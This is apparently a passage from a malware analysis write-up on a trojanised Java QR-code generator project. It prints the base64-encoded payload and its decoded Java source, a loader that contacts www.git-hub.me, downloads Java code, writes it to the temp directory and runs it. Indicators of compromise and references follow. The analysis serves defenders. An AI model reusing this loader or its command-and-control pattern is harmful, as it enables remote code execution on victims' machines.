          + "29kZXIoKS5kZWNvZGUoZW5jX2RhdGEpOwogICAgICAgICAgICAgICAgICAgIFN0cmluZyBvcmdfZmlsZSA9IG5ldyBTdHJpbmcoZGVjX2RhdGEsIFN0YW5kYXJkQ2hhcnNldHM"
          + "uVVRGXzgpOwogICAgICAgICAgICAgICAgICAgIFN0cmluZyBvcmdfcGF0aDsKICAgICAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgICAgICBpZiAoSW50ZWdlci5wY"
          + "XJzZUludChnZXRPcGVyYXRpbmdTeXN0ZW0oKSkgPT0gMCkKICAgICAgICAgICAgICAgICAgICB7CiAgICAgICAgICAgICAgICAgICAgICAgIG9yZ19wYXRoID0gU3lzdGVtLmd"
          + "ldFByb3BlcnR5KCJqYXZhLmlvLnRtcGRpciIpICsgIlxccHJlZlRtcC5qYXZhIjsKICAgICAgICAgICAgICAgICAgICAgICAgc2VjX3BhdGggPSBTeXN0ZW0uZ2V0UHJvcGVyd"
          + "HkoImphdmEuaW8udG1wZGlyIikgKyAiXFxwLmRhdCI7CiAgICAgICAgICAgICAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgICAgICAgICAgICAgb3JnX3BhdGggPSBTeXN"
          + "0ZW0uZ2V0UHJvcGVydHkoImphdmEuaW8udG1wZGlyIikgKyAiL3ByZWZUbXAuamF2YSI7CiAgICAgICAgICAgICAgICAgICAgICAgIHNlY19wYXRoID0gU3lzdGVtLmdldFByb"
          + "3BlcnR5KCJqYXZhLmlvLnRtcGRpciIpICsgIi9wLmRhdCI7CiAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgICAgIHRyeSAoRmlsZVdyaXRlciBmaWxlID0"
          + "gbmV3IEZpbGVXcml0ZXIob3JnX3BhdGgsIHRydWUpO0J1ZmZlcmVkV3JpdGVyIGJ1ZmZlciA9IG5ldyBCdWZmZXJlZFdyaXRlcihmaWxlKSkgewogICAgICAgICAgICAgICAgI"
          + "CAgICAgICBidWZmZXIud3JpdGUob3JnX2ZpbGUpOwogICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICBTdHJpbmcgY21kbGluZSA9ICJqYXZhICIgKyB"
          + "vcmdfcGF0aCArICIgIiArIHVpZCArICIgIiArIFBPU1RfVVJMOwogICAgICAgICAgICAgICAgICAgIFJ1bnRpbWUuZ2V0UnVudGltZSgpLmV4ZWMoY21kbGluZSk7CiAgICAgI"
          + "CAgICAgICAgICAgICAgVGhyZWFkLnNsZWVwKDMwMDApOwogICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgVGhyZWFkLnNsZWVwKDUwMDApOwogICAgICAgICAgICB"
          + "9CiAgICAgICAgICAgIH0gY2F0Y2ggKEludGVycnVwdGVkRXhjZXB0aW9uIGV4KSB7CiAgICAgICAgICAgIH0KICAgICAgICB9CiAgICB9Cn0K";

As it was commented, it is base64 content which will be decoded and later written in a .java file located in a temporary directory.

Decoding the base64 content of this variable we get the following output, which is far from being a simple log file:

Java Code (112 lines)
import java.io.IOException;
import java.net.URI;
import java.net.http.HttpClient;
import java.net.http.HttpRequest;
import java.net.http.HttpResponse;
import java.nio.charset.StandardCharsets;
import java.util.Base64;
import java.util.Random;
import java.io.BufferedWriter;
import java.io.File;
import java.io.FileWriter;
import java.lang.Thread;

public class QRLog {

    private static final String POST_URL = "https://www.git-hub.me/view.php";

    public static void main(String[] args) throws IOException{

        sendPOST();
    }

    private static String randGen() throws IOException {
        String strPool = "123456789";
        StringBuilder sb = new StringBuilder();
        Random rand = new Random();
        
        for (int i=0; i<8; i++){
            sb.append(strPool.charAt(rand.nextInt(strPool.length())));
        }
        
        return sb.toString();
    }
    
    private static String getOperatingSystem() {
        String os = System.getProperty("os.name");
        String result = null;
        
        if (os.contains("Windows"))
            result = "0";
        else if (os.contains("Linux"))
            result = "2";
        else if (os.contains("Mac OS X"))
            result = "1";
        return result;
    }
    
    private static void sendPOST() throws IOException {
        String uid = randGen();
        StringBuilder data = new StringBuilder();
        String sec_path = "";
        data.append("GITHUB_REQ");
        data.append(uid);
        data.append("2000");
        data.append(getOperatingSystem());
        
        while (true)
        {
            try {
                if (sec_path.length() > 1) {
                    File secFile = new File(sec_path);
                    if (secFile.exists())
                        System.exit(0);
                }
                
                HttpRequest request = HttpRequest.newBuilder()
                    .header("Content-Type", "application/json; charset=utf-8")
                    .version(HttpClient.Version.HTTP_1_1)
                    .uri(URI.create(POST_URL))
                    .POST(HttpRequest.BodyPublishers.ofString(data.toString()))
                    .build();
                HttpClient client = HttpClient.newHttpClient();
                HttpResponse<String> response = client.send(request, HttpResponse.BodyHandlers.ofString());
                if (response.statusCode() != 200)
                {
                    Thread.sleep(5000);
                    continue;
                }
                String resStr = response.body();
                if (!resStr.startsWith("GITHUB_RES"))
                {
                    System.out.println("Data Error");
                } else {
                if (resStr.length() > 11)
                {
                    String enc_data = resStr.substring(10);
                    byte [] dec_data = Base64.getDecoder().decode(enc_data);
                    String org_file = new String(dec_data, StandardCharsets.UTF_8);
                    String org_path;
                    
                    if (Integer.parseInt(getOperatingSystem()) == 0)
                    {
                        org_path = System.getProperty("java.io.tmpdir") + "\\prefTmp.java";
                        sec_path = System.getProperty("java.io.tmpdir") + "\\p.dat";
                    } else {
                        org_path = System.getProperty("java.io.tmpdir") + "/prefTmp.java";
                        sec_path = System.getProperty("java.io.tmpdir") + "/p.dat";
                    }
                    try (FileWriter file = new FileWriter(org_path, true);BufferedWriter buffer = new BufferedWriter(file)) {
                        buffer.write(org_file);
                    }
                    String cmdline = "java " + org_path + " " + uid + " " + POST_URL;
                    Runtime.getRuntime().exec(cmdline);
                    Thread.sleep(3000);
                }
                Thread.sleep(5000);
            }
            } catch (InterruptedException ex) {
            }
        }
    }
}

What does this code do?

import java.io.IOException;
import java.net.URI;
import java.net.http.HttpClient;
import java.net.http.HttpRequest;
import java.net.http.HttpResponse;
import java.nio.charset.StandardCharsets;
import java.util.Base64;
import java.util.Random;
import java.io.BufferedWriter;
import java.io.File;
import java.io.FileWriter;
import java.lang.Thread;
private static final String POST_URL = "https://www.git-hub.me/view.php";
private static String randGen() throws IOException {
  String strPool = "123456789";
  StringBuilder sb = new StringBuilder();
  Random rand = new Random();

  for (int i=0; i<8; i++){
      sb.append(strPool.charAt(rand.nextInt(strPool.length())));
  }

  return sb.toString();
}
private static String getOperatingSystem() {
  String os = System.getProperty("os.name");
  String result = null;

  if (os.contains("Windows"))
      result = "0";
  else if (os.contains("Linux"))
      result = "2";
  else if (os.contains("Mac OS X"))
      result = "1";
  return result;
}
private static void sendPOST() throws IOException {
        String uid = randGen();
        StringBuilder data = new StringBuilder();
        String sec_path = "";
        data.append("GITHUB_REQ");
        data.append(uid);
        data.append("2000");
        data.append(getOperatingSystem());
try {
  if (sec_path.length() > 1) {
      File secFile = new File(sec_path);
      if (secFile.exists())
          System.exit(0);
  }

  HttpRequest request = HttpRequest.newBuilder()
      .header("Content-Type", "application/json; charset=utf-8")
      .version(HttpClient.Version.HTTP_1_1)
      .uri(URI.create(POST_URL))
      .POST(HttpRequest.BodyPublishers.ofString(data.toString()))
      .build();
  HttpClient client = HttpClient.newHttpClient();
  HttpResponse<String> response = client.send(request, HttpResponse.BodyHandlers.ofString());
if (response.statusCode() != 200)
{
  Thread.sleep(5000);
  continue;
}
String resStr = response.body();
if (!resStr.startsWith("GITHUB_RES"))
{
  System.out.println("Data Error");
} else {
if (resStr.length() > 11)
{
    String enc_data = resStr.substring(10);
    byte [] dec_data = Base64.getDecoder().decode(enc_data);
    String org_file = new String(dec_data, StandardCharsets.UTF_8);
    String org_path;
}
if (Integer.parseInt(getOperatingSystem()) == 0)
{
    org_path = System.getProperty("java.io.tmpdir") + "\\prefTmp.java";
    sec_path = System.getProperty("java.io.tmpdir") + "\\p.dat";
} else {
    org_path = System.getProperty("java.io.tmpdir") + "/prefTmp.java";
    sec_path = System.getProperty("java.io.tmpdir") + "/p.dat";
}
try (FileWriter file = new FileWriter(org_path, true);BufferedWriter buffer = new BufferedWriter(file)) {
    buffer.write(org_file);
}
String cmdline = "java " + org_path + " " + uid + " " + POST_URL;
Runtime.getRuntime().exec(cmdline);
Thread.sleep(3000);

Interesting details

#[...]
[...]/default-compile/inputFiles.lst:275:C:\Users\Edward\Downloads\qr-code-generator-and-reader-master\qr-code-generator-and-reader-master\src\main\java\com\google\zxing\common\detector\MathUtils.java
[...]/default-compile/inputFiles.lst:276:C:\Users\Edward\Downloads\qr-code-generator-and-reader-master\qr-code-generator-and-reader-master\src\main\java\com\client\result\VEventResultParser.java
[...]/default-compile/inputFiles.lst:277:C:\Users\Edward\Downloads\qr-code-generator-and-reader-master\qr-code-generator-and-reader-master\src\main\java\com\google\zxing\oned\Code128Writer.java
#[...]

IOCs

File:QRLog.java
File:prefTmp.java
File:QRCodeGenerator_Java.zip
File:AppleAccount.pdf
File:AppleAccountAgent
File:p.dat
IP:45.77.123.18
IP:3.90.35.35
URL:auth.pxaltonet.org
URL:www.git-hub.me
URI:/file/d/1J6943NKwGIcWHh7lj4o9gJe__9p7F1o7/view
MD5:0fb16054a1486b754d1fcc5c6b6e1b01
MD5:26b7d315dd19eb932a08fe474e0f0c31

Samples

References

  1. VirusTotal
  2. AlienVault OTX
  3. AlienVault OTX Intelligence Pulse
  4. AlienVault OTX Intelligence Pulse - Updated
  5. DEF CON 31 - Recon Village Talk Announcement